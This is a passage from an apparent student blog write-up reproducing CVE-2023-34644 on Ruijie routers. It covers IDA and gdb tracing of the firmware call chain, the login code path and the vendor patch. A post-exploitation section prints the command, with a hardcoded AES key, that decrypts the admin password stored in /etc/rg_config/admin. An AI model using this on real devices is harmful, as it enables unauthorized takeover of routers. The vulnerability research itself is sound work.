上面对 lua
文件以及二进制文件的调用链进行了分析和调试,下面记录下在分析过程中自己产生的疑问以及自己探究出的答案
疑问&&解决 deal_remote_config_handle函数是怎么被触发的 在 uf_cmd_task_init
函数中,调用了 create_thread
函数,该函数调用了 pthread_create
函数来创建一个新的线程
int __fastcall create_thread (int a1) { int result; result = pthread_create(); if ( result ) { *(_BYTE *)(a1 + 13 ) = 0 ; result = -1 ; } else { *(_BYTE *)(a1 + 13 ) = 1 ; } return result; }
直接看 IDA
发现 create_thread
函数中并没有参数,但是该函数的定义如下
int pthread_create (pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void *), void *arg) ;
其中标明了第三个参数(寄存器应该为 $a2
)是新线程的执行入口函数,判断出这里是 IDA
的显示问题,分析汇编代码查看 pthread_create
函数的第三个参数
LOAD:0040BE64 li $gp, (dword_4358A0+0x7FF0 - .) LOAD:0040BE6C addu $gp, $t9 LOAD:0040BE70 addiu $sp, -0x20 LOAD:0040BE74 la $t9, pthread_create LOAD:0040BE78 lw $a2, 4($a0) LOAD:0040BE7C move $a1, $zero LOAD:0040BE80 sw $s0, 0x18+var_s0($sp) LOAD:0040BE84 sw $gp, 0x18+var_8($sp) LOAD:0040BE88 sw $ra, 0x18+var_s4($sp) LOAD:0040BE8C move $a3, $a0 LOAD:0040BE90 jalr $t9 ; pthread_create LOAD:0040BE94 move $s0, $a0
发现有指令 lw $a2, 4($a0)
$a0
为 create_thread
函数的实参,这里是将 $a0
加 4
的位置赋值给了 $a2
,交叉引用发现 deal_remote_config_handle
函数地址最终就是 pthread_create
函数的第三个参数
*(_DWORD *)(v10 + 4 ) = deal_remote_config_handle; if ( create_thread(v10) )
所以判断 deal_remote_config_handle
函数是在 uf_cmd_task_init
新创建的线程中当做入口函数来执行的
用户没有传入数据时,进程在哪里被阻塞了? 在 IDA
中有如下代码,这里从其他进程中读取了用户输入的数据,如果在 uf_socket_msg_read
函数执行前后分别打下断点的话,按几次 c
后发现,调试界面就会卡到 uf_socket_msg_read
函数执行后的界面
v51 = (_DWORD *)uf_socket_msg_read(*v29, v31 + 1 );
我最初一直以为是 uf_socket_msg_read
函数如果没有接收到数据,就会阻塞,直到接收新的数据。但这样的话,应该是卡到了 uf_socket_msg_read
函数执行时,并非是卡到了 uf_socket_msg_read
函数执行后。卡到了执行后其实就是卡到的是下一次 uf_socket_msg_read
函数执行前。因此就推翻了我原先的认知,为了寻找具体是哪里将进程阻塞,我下了大量的断点,逐步缩小范围,最终找到了 while ( select(fbss + 1, g_fd_set, 0, 0, 0) <= 0 );
int select (int nfds, fd_set *readfds, fd_set *writefds,fd_set *exceptfds, struct timeval *timeout) ;
select
函数允许程序监视多个文件描述符,等待所监视的一个或者多个文件描述符变为 “准备就绪” 的状态。所谓的 ”准备就绪“ 状态是指:文件描述符不再是阻塞状态,可以用于某类IO操作了,包括可读,可写,发生异常三种。在 select
函数调用之后,如果返回值大于 0
,表示至少有一个文件描述符 “准备就绪” ,程序中的 select
函数监视的是是否有文件描述符变成可读(也就是有数据可以读取),如果 timeout == NULL
,会无期限的等待下去,这个等待可以被一个信号中断,只有当一个描述符准备好,或者捕获到一个信号时函数才会返回。如果是捕获到信号,select
返回 -1
,并将变量errno
设置成 EINTR
。
验证的话,只需要在 select(fbss + 1, g_fd_set, 0, 0, 0)
代码执行前后打上断点,发现确实卡在了 select
函数执行时,当用户发送报文后,代码就可以继续往后执行了,因为 select
函数已经确定了有文件描述符变成了可读,所以后面的 uf_socket_msg_read
函数可以顺利接收到用户传入的数据。至此确定卡住进程的并不是 uf_socket_msg_read
函数,而是 select
函数
从deal_remote_config_handle函数如何执行到uf_cmd_call函数 我把 uf_cmd_call
函数当做正式调用链的入口,通过调试可以得知 uf_cmd_call
函数是在 deal_remote_config_handle
中被调用的
但这里并非是顺序执行代码,正常触发 uf_cmd_call
deal_remote_config_handle
函数刚执行时就会在下面的循环卡住
do { *(_DWORD *)(a1 + 16 ) = 0 ; v3 = uf_task_remote_pop_queue(); *(_DWORD *)(a1 + 16 ) = v3; } while ( !v3 );
uf_task_remote_pop_queue
函数开始执行了 sem_wait(&unk_435E90)
,这里表示在等待一个信号量,如果信号量的值大于零,则将信号量的值减一,然后继续执行;如果信号量的值为零,则进程(或线程)将被阻塞,直到信号量的值大于零。通过调试的话能发现,实际造成线程卡住的代码就是 sem_wait
,这就说明肯定有一个地方还没有触发相应信号量的 sem_post
操作
int uf_task_remote_pop_queue () { int v0; sem_wait(&unk_435E90); pthread_mutex_lock(&unk_435E74); if ( (int *)cmd_task_remote_head == &cmd_task_remote_head ) { v0 = 0 ; } else { v0 = cmd_task_remote_head - 4 ; sub_40B620((_DWORD *)cmd_task_remote_head); } pthread_mutex_unlock(&unk_435E74); return v0; }
接下来对信号量进行交叉引用,sub_40B0B0
中确实是一个 sem_post(&unk_435E90)
的操作,然后 uf_task_remote_pop_queue
也就是下图的位置 sem_wait(&unk_435E90)
,最后的 uf_cmd_task_init
函数中是 sem_init(&unk_435E90, 0, 0)
根据上面的分析可知,只有 sub_40B0B0
函数存在 sem_post(&unk_435E90)
,因此下面要追踪 sub_40B0B0
函数的调用链,对其交叉引用发现在 sub_40B304
函数进行了调用
至此都是正常的分析思路,接下来应该继续对 sub_40B304
函数进行交叉引用,但这里 IDA
就对我的分析产生了误导,通过下图得知,应该是只有一个叫做 uf_lock_cmd_pop_all
的函数调用了 sub_40B304
查看 uf_lock_cmd_pop_all
函数代码,发现确实是进行了调用
但如果继续跟 uf_lock_cmd_pop_all
这条链的话,最后就发现这条链在 main
函数的触发太靠前了,实际上改变信号量触发 uf_cmd_call
的操作一定是要在接收用户数据之后做的。并且可以用 gdb
验证,只需要在 sub_40B0B0
函数下一个断点,在 uf_lock_cmd_pop_all
函数下一个断点,最后发现程序没有在 uf_lock_cmd_pop_all
函数处断下来,而在 sub_40B0B0
断下来了。
因此得出结论,除去 uf_lock_cmd_pop_all
函数,一定还有一条链也可以触发 sub_40B0B0
函数,而这个链通过 IDA
的交叉引用并没有看到 (在实际我分析这里时,我其实分析和调试了很久才做出了这个判断,因为有怀疑过 gdb
的 bug
,有怀疑过是我调用链没分析明白,但最后通过分析和调试逐一排除了这些推断)也有一点运气使然,我后续无意翻看代码时,在位于 add_pkg_cmd2_task
函数中,我看到了 sub_40B304
函数,该函数是 sub_40B0B0
上级函数。
因此还有一条链也能改变信号量,如下
main => add_pkg_cmd2_task => sub_40B304 => sub_40B0B0 => sem_post(&unk_435E90)
能发现这条链的原因有三个,第一是这条调用链不深(如果 add_pkg_cmd2_task
函数调用了三四层函数才到 sub_40B304
,大概率也很难找到),第二是我当时将函数重命名了(我写本文的时候将 sub_40B304
sub_40B0B0
函数改回了 IDA
默认的名称,不过在我分析的时候,我对这些关键的调用函数都做了重命名,可以一眼看到这类函数,否则用默认名字,长的差不多的情况下,也不一定能注意到),第三是坚持(这个调用链的问题,我整整分析了一天,虽然结论只是 IDA
有点问题,但这个误导以及摆脱误导的过程是困难且有意义的,如果不是 winmt 师傅让我对细节的坚持,或许我早已放弃这一个小小的信号量分析)
scp命令报错解决 在使用 scp
命令传输的时候,报错如下
➜ 204 sudo scp squashfs-root.tar.gz root@192.168.45.66:/root/204.tar.gz @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that a host key has just been changed. The fingerprint for the RSA key sent by the remote host is SHA256:tVc2ekHlAJNyIu0Fo9rOvfudWIVfkMpa3FSLlDcGeVQ. Please contact your system administrator. Add correct host key in /root/.ssh/known_hosts to get rid of this message. Offending RSA key in /root/.ssh/known_hosts:6 remove with: ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.45.66" RSA host key for 192.168.45.66 has changed and you have requested strict checking. Host key verification failed. lost connection
产生这个错误的原因是因为 SSH
密钥认证的安全机制, SSH
使用密钥来确保通信的安全性和身份认证,每台 SSH
服务器都有一个公钥和私钥。当第一次连接到 SSH
服务器上时,服务器会生成一对密钥,将公钥发给客户端,这个公钥会保存在客户端本地的 known_hosts
文件中,当以后连接到同一个服务器的时候,客户端会检查服务器发送过来的公钥是否和 known_hosts
文件中的公钥匹配,如果匹配,连接就会被建立,如果不匹配(可能受到了中间人攻击或者服务器密钥已更改),就会出现如上报错。
解决方法:执行 ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.45.66"
命令,它将删除 known_hosts
文件中与服务器 IP
地址 192.168.45.66
相关的密钥记录。然后重新执行 scp
命令进行文件传输,这样 SSH
客户端会检测到新的主机密钥,并将其添加到已知主机列表中(known_hosts
文件)
后续利用 拿到路由器的最高权限后,也有一些后续的利用。比如拿管理员后台密码,劫持流量(抓取未加密的数据),修改 ARP
缓存表等等。因为本人只是一个正在学习相关知识的学生,对大部分的利用并不成熟,目前只记录拿到管理员后台密码的分析,后续如果有其他方面的进展,也会将细节进行补充
拿到管理员后台密码 在登录锐捷管理员后台的时候随便输入一个密码,点击登录
用 Burp
拦截请求,发现下面的报文中 method
为 login
这里的路径为 /api/auth
,根据代码 entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false
可知会触发 rpc_auth
函数
function rpc_auth () local jsonrpc = require "luci.utils.jsonrpc" local http = require "luci.http" local ltn12 = require "luci.ltn12" local _tbl = require "luci.modules.noauth" if tonumber (http.getenv ("HTTP_CONTENT_LENGTH" ) or 0 ) > 1000 then http.prepare_content("text/plain" ) return "too long data" end http.prepare_content("application/json" ) ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write ) end
在 jsonrpc.handle(_tbl, http.source())
代码中,会根据 method
的值调用 noauth.lua
文件中对应的函数(具体的调用链参考上文 lua文件代码分析 ),这里就会调用 login
函数
function login (params) local disp = require ("luci.dispatcher" ) local common = require ("luci.modules.common" ) local tool = require ("luci.utils.tool" ) if params.password and tool.includeXxs(params.password) then tool.eweblog("INVALID DATA" , "LOGIN FAILED" ) return end local authOk local ua = os .getenv ("HTTP_USER_AGENT" ) or "unknown brower (ua is nil)" tool.eweblog(ua, "LOGIN UA" ) local checkStat = { password = params.password, username = "admin" , encry = params.encry, limit = params.limit } local authres, reason = tool.checkPasswd(checkStat) local log_opt = {username = params.username, level = "auth.notice" } if authres then authOk = disp.writeSid("admin" ) if params.time and tonumber (params.time ) then common.setSysTime({time = params.time }) end log_opt.action = "login-success" else log_opt.action = "login-fail" end tool.write_log(log_opt) return authOk end
上面的代码中,我们关注下检查密码的函数 checkPasswd
(它的参数是一个叫做 checkStat
的表,其中包含了前端传入的加密后的密码),该函数定义在 luci/utils/tool
文件中
function checkPasswd (checkStat) local cmd = require ("luci.modules.cmd" ) local _data = { type = checkStat.encry and "enc" or "noenc" , password = checkStat.password, name = checkStat.username, limit = checkStat.limit and "true" or nil } local _check = cmd.devSta.get({module = "adminCheck" , device = "pc" , data = _data}) if type (_check) == "table" and _check.result == "success" then return true end return false , _check.reason end
关键触发点是 cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})
从 lua
文件中的代码 cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})
执行后,会走到 unifyframe-sgi.elf
文件中,最后将 /usr/sbin/module_call get adminCheck
命令执行(这里的 a1[5]
代表操作符 get
,(v67+8)
是module
字段的值 adminCheck
)
v70 = snprintf (v66, v68, "/usr/sbin/module_call %s %s" , (const char *)a1[5 ], (const char *)(v67 + 8 )); v71 = (const char *)a1[20 ]; v72 = &v66[v70]; if ( v71 ) v72 += snprintf (&v66[v70], v68, " '%s'" , v71); v73 = a1[21 ]; if ( v73 ) snprintf (v72, v68, " %s" , v73); ...... ufm_commit_add(0 , v66, 1u , 0 )
下面来分析 /usr/sbin/module_call
文件代码
# !/bin/sh ROM_AC_CONFIG_DIR="/rom/etc/rg_config/global/" ROM_DEV_CONFIG_DIR="/rom/etc/rg_config/single/" RG_CONFIG_TMP_DIR="/tmp/rg_config/" cmd="$1" module="$2" param="$3" path="$4" register_module() { local module=$1 local module_file module_file="/usr/bin/$module" if [ -f "$module_file" ]; then . "$module_file" else return 1 fi return 0 } module_init() { ...... } get_default() { ...... } register_module "$module" if [ $? = 1 ]; then return 1 fi for arg in $* ;do if [ "$arg" == "-n" ];then not_change_configId=$arg fi done case "$cmd" in set|add|del|update|apply) ${module}_${cmd} "${param}" "$path" "${not_change_configId}" 2> /dev/null;; getDefault) get_default "$module" "$param";; get) ${module}_get "${param}";; *) ;; esac
cmd="$1"
module="$2"
这里将字符串 get
和 adminCheck
分别赋给了 cmd
module
变量
首先执行了 register_module "$module"
,简单分析一下 register_module
可知其在判断 /usr/bin/adminCheck
文件是否存在,如果不存在的话 module_call
文件的执行就结束了,存在的话对 /usr/bin/adminCheck
模块进行加载(将该文件中的代码合并到当前 shell
进程中,从而加载了函数和变量)
随后调用了 for
循环,来遍历脚本的命令行参数是否有 -n
(当前分析的这个链并没有),最终关键代码为下面的 case
语句,如果匹配到了 set
add
del
update
appley
中的任何一个,就会执行 ${module}_${cmd} "${param}" "$path" "${not_change_configId}" 2> /dev/null
也就是 adminCheck_get 2> /dev/null
adminCheck_get
为 /usr/bin/adminCheck
文件中的函数,主要作用是调用了函数 adminCheck_parse
,其关键的代码部分如下。
json_get_var password "password" ...... local ciphertext=$(cat /etc/rg_config/admin) local passwd_old=`deenc "$ciphertext"` ...... if [ "$passwd_old" = "$password" ] ...... deenc() { local passwd=$1 echo "$passwd"| /usr/sbin/rg_crypto dec -t C }
通过上面的代码可知,管理员后台密码加密后存放在 /etc/rg_config/admin
文件中,直接执行 echo "$passwd"| /usr/sbin/rg_crypto dec -t C
命令就能得到解密后的管理员后台密码。
下面用真机演示一下(我用的设备型号是 EW1200G-PRO
,软件版本是 EW_3.0(1)B11P25,Release(07162402)
) ,我看了一下这个 /usr/bin/adminCheck
的文件,发现它的解密和上面并不一样,这里执行的应该是 echo "$passwd"| openssl enc -aes-256-cbc -d -a -k "RjYkhwzx\$2018!"
最后执行命令如下,得到管理员密码为 88888888
补丁: 官方在 EW_3.0(1)B11P226
版本,对上述漏洞发布了补丁 https://www.ruijie.com.cn/fw/rj/92255/
新添加了一个 detect_remoteIp_invalid
函数,该函数检查了 remoteIP
字段是否为纯数字或者字符 .
,因为正常的 IP
应该为 xx.xx.xx.xx
。这相当于对命令注入的字段做了一个过滤
int __fastcall detect_remoteIp_invalid (char *buf) { int len; char *v3; char *v4; int v5; len = strlen (buf); v3 = buf; v4 = &buf[len]; while ( v3 != v4 ) { v5 = *v3; if ( (unsigned __int8)(v5 - 48 ) < 0xA u ) { ++v3; } else { ++v3; if ( v5 != '.' ) { uf_log_printf( uf_log, "ERROR (%s %s %d)invalid char: %c, need [number][.][number]!" , "sgi.c" , "detect_remoteIp_invalid" , 273 , v5); return -1 ; } } } return 0 ; }
尾声 对于 CVE-2023-34644 的复现结束了,这个漏洞的复现从开始到结束历经了一个多月(与此同时还有 CVE-2023-38902 的研究)。期间碰到了很多奇怪的报错以及思考时产生的疑问,比起 CVE-2023-20073 的复现,这次自己进行了更多的思考。再次要特别感谢 winmt 师傅,关于 CVE-2023-34644 的大部分关键点其实 winmt 已经写的很详细了。但是在复现的过程中,对于我这个初学者来说,依然有很多的问题感到一知半解,有不少地方经过尝试后依然没有思路,都想得过且过,认为此处理解的不透彻也并不影响整体的分析。可在细节上得过且过,真的在独立的漏洞挖掘中有所高质量的产出么?扪心自问,我不认为会有高质量的产出。比如在上文提到的信号量触发 uf_cmd_call
函数,不追踪到底的话,我只知道有个地方肯定操作了信号量导致了 uf_cmd_call
执行,但具体是哪里操作的信号量呢?IDA
显示不完整的情况下,探究的过程并不容易。如果不知道具体哪里操作的信号量,我就不能说完全弄清了整个的漏洞调用链,那复现一个漏洞连完整的触发调用链都没搞清,那复现的意义到底是什么呢?在复现的过程中都是一知半解,那在真实环境下进行独立的漏洞挖掘,找漏洞又何从谈起呢,甚至于找到了漏洞,但是连怎么走到漏洞点都分析不明白。感谢 winmt 多次 “push” ,让我没有得过且过。对于学习而言,可能比起当前暂时领先于常人的能力和知识而言,对 产生的问题始终保持好奇 和 “再试一次”的精神 更为重要和难得。
参考文章 https://bbs.kanxue.com/thread-277386.htm#msg_header_h2_4
https://blog.csdn.net/zujipi8736/article/details/86606093